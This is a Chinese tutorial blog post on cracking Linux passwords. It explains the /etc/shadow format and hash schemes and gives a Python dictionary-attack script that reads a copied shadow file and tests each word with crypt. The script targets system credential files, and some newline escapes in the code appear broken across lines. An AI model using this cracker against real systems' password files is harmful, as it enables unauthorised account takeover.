zoukankan      html  css  js  c++  java
  • linux密码暴力破解机

    linux 密码保存在

    /etc/shadow

    shadow 文件的保存格式

    python:$6$mWSyC6Pv$hpMreQT77R9ML/Xx1QnRAow1tUTDjIowaTssV7bZw9S44FXYd93kfrFQ8Y2vpj/bQfrub/Q.Z6XkYDt4gAUBE0:17514:0:99999:7:::

    加密格式:

    {用户名}:{加密后的口令密码}:{口令最后修改时间距原点(1970-1-1)的天数}:{口令最小修改间隔(防止修改口令,如果时限未到,将恢复至旧口令):{口令最大修改间隔}:{口令失效前的警告天数}:{账户不活动天数}:{账号失效天数}:{保留}

    密码域密文也是由三部分组成的,即:$id$salt$encrypted。

    id为1时,采用md5进行加密;

    id为5时,采用SHA256进行加密;

    id为6时,采用SHA512进行加密。

    在python中有一个crypt 模块可以进行密码计算,而且不用我们担心加密方式是什么。

    crypt 方法接收两个参数,第一个是需要加密的明文,第二个参数是 salt.

    linux salt 为 $6$mWSyC6Pv$ 形式 其中6表示加密方式 sha512

    >>> import crypt
    >>> crypt.crypt('sdssdd','$6$mWSyC6Pv$')
    '$6$mWSyC6Pv$8AhSQcqAsoGsMIFHnLhvCRf4cg5gWvPHhWtliw39yIGUYwK5uODO6bzL7GUxD.X.U5N14m3MA0Pikf5fsyO0/'
    >>> 
    >>>

    shadow 只有超级用户才有权限查看,所以拷贝出来的shadow文件需要修改权限

    chmod 755 shadow

    代码实现

    import crypt
    
    def testPass(cryptPass):
        salt = cryptPass[0:12]  # 获取加密方式以及密码盐
        try:
            dictFile = open('dictionary', 'r')  # 打开密码字典
            try:
                for word in dictFile.readlines():
                    word = word.strip('
    ')
                    cryptWord = crypt.crypt(word, salt)  # 将字典中读取的铭文密码通过加密与shadow密码进行判断
                    if cryptWord == cryptPass:
                        print('[+] Found Password: ' + word + "
    ")
                        return
                print('[-] Password not Found.
    ')
                return
            except:
                dictFile.close()
        except:
            print('[-] dictionary 文件无法打开')
            exit(0)
    
    
    
    def main():
        try:
            passFile = open('shadow') # 打开shadow文件
            try:
                for line in passFile.readlines(): # 一行一行读取
                    if ":" in line:
                        user = line.split(':')[0]   # 利用 : 分隔 获取用户名
                        cryptPass = line.split(':')[1].strip(' ') #去掉前后空格
                        print('[*] Cracking Password For : ' + user)
                        testPass(cryptPass)
            except:
                passFile.close()
        except:
            print('[-] shadow 文件无法打开')
    
    if __name__ == '__main__':
        main()
  • 相关阅读:
    星时代曹波涛:分享一个测试数据生成的工具
    myabtis-plus 分页
    吴恩达机器学习_55过拟合问题/56代价函数
    吴恩达机器学习_51高级优化/52多元分类:一对多
    吴恩达机器学习_49代价函数/50简化代价函数与梯度
    吴恩达机器学习_46分类/47假设函数/48决策边界
    Windows10下安装VMware workstation 15.1虚拟机+配置Ubuntu16系统
    编程作业ex1:附加练习
    编程作业ex1:线性回归
    吴恩达机器学习_43矢量
  • 原文地址:https://www.cnblogs.com/huangguifeng/p/8939846.html
Copyright © 2011-2022 走看看